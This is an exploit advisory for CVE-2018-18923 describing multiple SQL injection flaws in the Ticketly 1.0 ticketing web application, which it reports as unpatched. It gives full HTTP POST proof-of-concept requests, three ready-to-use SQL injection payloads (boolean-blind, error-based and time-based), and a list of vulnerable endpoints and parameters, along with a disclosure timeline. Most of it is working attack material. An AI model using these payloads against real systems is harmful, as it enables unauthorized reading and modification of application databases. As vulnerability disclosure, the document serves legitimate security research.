# Exploit Title: Ticketly 1.0 – Multiple SQL Injection
# Exploit Author: Javier Olmedo
# Website: https://hackpuntes.com
# Date: 2018-11-19
# Google Dork: N/A
# Vendor: Abisoft (https://abisoftgt.net)
# Software Link: https://abisoftgt.net/software/6/sistema-de-tickets-y-soporte-con-php-y-mysql
# Affected Version: 1.0
# Patched Version: unpatched
# Category: Web Application
# Platform: Windows & Ubuntu
# Tested on: Win10x64 & Kali Linux
# CVE: 2018-18923
# 1. Technical Description:
# Ticketly 1.0 are affected by SQL Injection in multiple parameters and
# resources through POST. This allows a attacker to read and modify
# sensitive information from the database used by the application.
# 2. Proof Of Concept (PoC):
# 2.1 The following POST request generates an error 500 in the Application (add ' in name parameter)
---
POST /ticketly/action/addproject.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: */*
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/ticketly/projects.php
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 32
Connection: close
name=Test%22&description=Test
---
# 2.2 In another request, add two ' to receive a code 200 OK
---
POST /ticketly/action/addproject.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: */*
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/ticketly/projects.php
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 32
Connection: close
name=Test%22%22&description=Test
---
# 3. Payloads
# 3.1 Payload (boolean-based blind)
name=Test" RLIKE (SELECT (CASE WHEN (4632=4632) THEN 0x54657374 ELSE 0x28 END)) AND "lrmZ"="lrmZ&description=Test
# 3.2 Payload (error-based)
name=Test” AND EXTRACTVALUE(9139,CONCAT(0x5c,0x7176766a71,(SELECT (ELT(9139=9139,1))),0x7178717a71)) AND "SZJL"="SZJL&description=Test
#3.3 Payload (AND/OR time-based blind)
name=Test” RLIKE SLEEP(5) AND "WkTS"="WkTS&description=Test
# 4. Vulnerables resources and parameters
# /action/addproject.php (description, name, category_id and description)
# /action/addticket.php (king_id, priority_id, project_id, status_id and title)
# /reports.php (kind_id y status_id)
# 5. Timeline
# 24/07/2018 Discovery
# 24/07/2018 Contact with developer
# 24/07/2018 Solution to vulnerability as pending
# 02/11/2018 Request ID CVE
# 04/11/2018 Assigned CVE-2018-18923
# 05/11/2018 Public disclosure
# 6. References:
# https://hackpuntes.com/cve-2018-18923-ticketly-1-0-multiples-sql-injections/
